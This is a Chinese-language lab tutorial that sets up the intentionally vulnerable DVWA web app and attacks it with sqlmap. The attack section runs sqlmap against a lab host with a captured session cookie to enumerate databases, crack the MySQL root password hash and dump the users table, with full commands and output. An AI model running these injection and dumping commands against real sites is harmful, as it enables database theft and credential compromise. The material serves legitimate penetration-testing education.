天天看點

通過sqlnamp檢測sql注入漏洞

通過sqlnamp檢測sql注入漏洞

1  sql注入概述并安裝SQLmap漏洞檢視工具

2  安裝滲透測試演練系統DVWA

3  實戰-使用SQLmap進行sql注入并獲得背景管理者adnim帳号和密碼

 注: 網頁最好不要使用GET方式送出,GET是明文方式進行送出,應該使用POST方式進行送出。

1.1  sql注入概述

所謂SQL注入,就是通過把SQL指令插入到Web表單送出或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL指令。

它是利用現有應用程式,可以通過在Web表單中輸入(惡意)SQL語句得到一個存在安全漏洞的網站上的資料庫。

1.2  什麼是SQLmap?

SQLmap是一款用來檢測與利用SQL注入漏洞的免費開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(資料庫指紋、通路底層檔案系統、執行指令)。

官方網站下載下傳http://sqlmap.org/

通過sqlnamp檢測sql注入漏洞
通過sqlnamp檢測sql注入漏洞

安裝SQLmap:                   k4   IP:10.27.17.34

滲透測試演練系統DVWA: k5   IP :10.27.17.62

安裝SQlmap

[root@k4 yum.repos.d]# tar -zxvf sqlmapproject-sqlmap-1.3.9-13-gb51f02c.tar.gz

[root@k4 yum.repos.d]# tar -zxvf sqlmapproject-sqlmap-1.3.9-13-gb51f02c.tar.gz

[root@k4 sqlmapproject-sqlmap-b51f02c]# python -V

Python 2.7.5    #如果未安裝PYTHON   .  yum install -y python

[root@k4 sqlmapproject-sqlmap-b51f02c]# ./sqlmap.py       啟動

建立一個slqmap軟體連結

[root@k4 sqlmapproject-sqlmap-b51f02c]# ln -s /root/sqlmapproject-sqlmap-b51f02c/sqlmap.py /usr/bin/sqlmap

2  安裝滲透測試演練系統DVWA

DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql編寫的一套用于正常WEB漏洞教學和檢測的WEB脆弱性測試程式。包含了SQL注入、XSS、盲注等常見的一些安全漏洞。

官方網站:連結位址:http://www.dvwa.co.uk   由于是國外的網站,有時可能會打不開。

通過sqlnamp檢測sql注入漏洞

 1、安裝LANP

[root@k5 local]# yum install -y httpd php php-mysql php-gd mariadb-server mariadb mysql

注:php-gd庫:gd庫是php處理圖形的擴充庫,gd庫提供了一系列用來處理圖檔的API,使用GD庫可以處理圖檔,或者生成圖檔。 在網站上GD庫通常用來生成縮略圖或者用來對圖檔加水印或者對網站資料生成報表及驗證碼。

Complete!

2、啟動相關服務

[root@k5 local]# systemctl restart httpd

[root@k5 local]# systemctl enable httpd

[root@k5 local]# systemctl restart mariadb

[root@k5 local]# systemctl enable mariadb

Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.

3、測試PHP網頁是否運作

[root@k5 local]# vi /var/www/html/test.php

<?php

        phpinfo();

?>      

通過sqlnamp檢測sql注入漏洞

4、配置mysql資料root使用者密碼:

[root@k5 ~]# mysqladmin -u root password "123456"

[root@k5 ~]# mysql -u root -p123456

5、将下載下傳的dvwa滲透系統代碼上傳到Linux上,并解壓到網站根目錄下

[root@xuegod63 ~]# unzip -d /var/www/html/  DVWA-1.9.zip

[root@k5 ~]# ll /var/www/html/

total 12

drwxr-xr-x 8 apache apache 4096 Feb 6 2019 DVWA-master

-rw-r--r-- 1 root root 12 Jun 28 11:10 index.html

[root@k5 ~]#  chown -R  apache:apache /var/www/html/DVWA-master/ 

6、編輯DVAW配置檔案/dvwa/config/config.inc.php,配置資料庫資訊,user和password是MySQL的使用者名和密碼。

[root@k5 ~]# vim /var/www/html/DVWA-master/config/config.inc.php

通過sqlnamp檢測sql注入漏洞

7、部署DVWA網站系統

在浏覽器中輸入:http://10.27.17.62/DVWA-master/setup.php  

通過sqlnamp檢測sql注入漏洞

 [root@k5 ~]#  systemctl restart httpd

8、修改DVWA配置 檔案完成安裝

[root@k5 ~]# vim /var/www/html/DVWA-master/config/config.inc.php

通過sqlnamp檢測sql注入漏洞

 通路https://www.google.com/recaptcha/admin/create并用google賬戶登入,在文本框輸入自己網站的網址,

如global-key.mycompany.com ,點選create key,生成Public Key和Private Key。 

生成自己的谷歌開源免費驗證碼reCAPTCHA的公鑰和私鑰。

9、點 Create / Reset

Database 建立測試資料庫  

DVWA

通過sqlnamp檢測sql注入漏洞

10、後期登入:

http://10.27.17.62/DVWA-master/login.php

dvwa的登入界面的預設使用者名和密碼為admin和password

通過sqlnamp檢測sql注入漏洞

3、使用SQLmap進行sql注入并獲得背景管理者adnim帳号和密碼

注入原理

通過sqlnamp檢測sql注入漏洞

SQLmap文法:SQLmap指令選項被歸類為目标(Target)選項、請求(Request)選項、優化、注入、檢測、技巧(Techniques)、指紋、枚舉等。

檢視sqlmap.py 幫助選項:

[root@k4 ~]#

sqlmap -h

3.1舉登入MYSQL資料的使用者名與密碼

1、使用SQLmap之前我們得到需要目前會話cookie等資訊,用來在滲透過程中維持連接配接狀态

Cookie 使用其複數形式稱為cookies ,指某些網站為了識别使用者的身份、進行session跟蹤,而存儲在使用者本地終端上的資料(通常是經過加密)

隻要登入過網站,就會在使用者本地産生cookie,主要用于身份識别、進行session會話跟蹤

2、抓取cookie

對于浏覽器抓取cookie方法:打開一個網站,登入上使用者名和密碼,按F12 ,如下圖

通過sqlnamp檢測sql注入漏洞
通過sqlnamp檢測sql注入漏洞
通過sqlnamp檢測sql注入漏洞

 為友善示範,我們将DVWA安全等級設定為low:

通過sqlnamp檢測sql注入漏洞

 接下來我們進入頁面的“SQL Injection”部分,輸入任意值并送出。可以看到get請求的ID參數如

通過sqlnamp檢測sql注入漏洞

http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit

這裡有送出sql語句的地方,是以就是我們的一個sql注入點。

是以該頁面就是我們的目标頁面。

 security low  PHPSESSID vbbjtco9885lh8nh32bpnv3i25

3.2枚舉登入資料庫的使用者名與目前正在使用的資料庫名

sqlmap常用參數:

1、-u : 指定目标URL,syql注入點

2、--cookie : 目前會話的cookie值

3、-b : 擷取資料庫類型  檢索資料庫管理系統的辨別  

(DBMS:Database Management System    資料庫管理系統)

4、--current-db : 擷取目前資料庫

5、--current-user :擷取目前登入資料庫使用的使用者

[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit"  --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" -b --current-db  --current-user

it looks like the back-end DBMS is

\'MySQL\'. Do you want to skip test payloads specific for other DBMSes? [Y/n]Y   #已經識别出來為mysql,現在直接跳過,不再掃描其他類型的資料庫

back-end DBMS :背景資料庫管理系統,

for the remaining tests, do you want to

include all tests for \'MySQL\' extending provided level (1) and risk (1) values?

[Y/n]n  #這裡寫n 如果有想測試一些mysql其他值,就先Y,寫Y測試時間比較長。

10:31:20] [INFO] the back-end DBMS is MySQL

[10:31:20] [INFO] fetching banner

web server operating system: Linux CentOS 7-1708

web application technology: Apache 2.4.6, PHP 5.4.16

back-end DBMS: MySQL >= 5.0

banner: \'5.5.56-MariaDB\'

[10:31:21] [INFO] fetching current user

current user: \'root@localhost\'

[10:31:21] [INFO] fetching current database

current database: \'dvwa\'

[10:31:21] [INFO] fetched data logged to text files under \'/root/.sqlmap/output/10.27.17.62\'

[*] ending @ 10:31:21 /2019-09-18/

3.3  使用指令用來枚舉所有登入msyql資料庫的使用者名和密碼hash值,後期可以對密碼hash進行破解,生成明文密碼

SQLmap使用選項:

1、--string : 當查詢可用時用來比對頁面中的字元串

2、--users : 枚舉DBMS使用者

3、--password : 枚舉DBMS使用者密碼hash

[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit"  --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25" --string="Surname" --users --password

database management system users [6]:

[*] \'\'@\'k5\'

[*] \'\'@\'localhost\'

[*] \'root\'@\'127.0.0.1\'

[*] \'root\'@\'::1\'

[*] \'root\'@\'k5\'

[*] \'root\'@\'localhost\'

[10:33:28] [INFO] fetching database users password hashes

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y

[10:33:32] [INFO] writing hashes to a temporary file \'/tmp/sqlmapFTy2SH2434/sqlmaphashes-XFWFKM.txt\' 

do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] y

[10:33:36] [INFO] using hash method \'mysql_passwd\'

what dictionary do you want to use?

[1] default dictionary file \'/etc/yum.repos.d/sqlmapproject-sqlmap-b51f02c/data/txt/wordlist.tx_\' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1

[10:34:16] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] y

[10:34:23] [INFO] starting dictionary-based cracking (mysql_passwd)

[10:34:23] [WARNING] multiprocessing hash cracking is currently not supported on this platform

[10:34:31] [INFO] cracked password \'123456\' for user \'root\'                                   

database management system users password hashes:                                             

[*] root [1]:

    password hash: *6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9

    clear-text password: 123456    密碼被破解出來。

[10:34:31] [INFO] fetched data logged to text files under \'/root/.sqlmap/output/10.27.17.62\'

[*] ending @ 10:34:31 /2019-09-18/

3.4  實戰3-1:枚舉dvwa庫的中表

使用選項:

1、-D : 要枚舉的DBMS資料庫

2、--tables     :

枚舉DBMS資料庫中的資料表

[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit"  --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25"  -D dvwa --tables

通過sqlnamp檢測sql注入漏洞

3.5擷取dvwa庫中users表的所有列名字

使用選項:

-T : 要枚舉的DBMS資料庫表

--columns : 枚舉DBMS資料庫表中的所有列 

[root@k4 ~]# sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit"  --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25"  -D dvwa -T users --columns 

通過sqlnamp檢測sql注入漏洞

3.6  拖庫,擷取dvwa庫中users表的所有列名字

拖庫本來是資料庫領域的術語,指從資料庫中導出資料。到了黑客攻擊泛濫的今天,它被用來指網站遭到入侵後,黑客竊取其資料庫。

使用選項:

-T : 要枚舉的DBMS資料表

-C: 要枚舉的DBMS資料表中的列

--dump : 轉儲DBMS資料表項

sqlmap -u "http://10.27.17.62/DVWA-master/vulnerabilities/sqli/?id=22&Submit=Submit"  --cookie="security=low; PHPSESSID=vbbjtco9885lh8nh32bpnv3i25"   -D dvwa -T users -C user,password --dump

[root@k4 output]#  vim /root/.sqlmap/output/10.27.17.62/dump/dvwa/users.csv

通過sqlnamp檢測sql注入漏洞

 chown apache:apache

/var/www/html/DVWA-1.9/ -R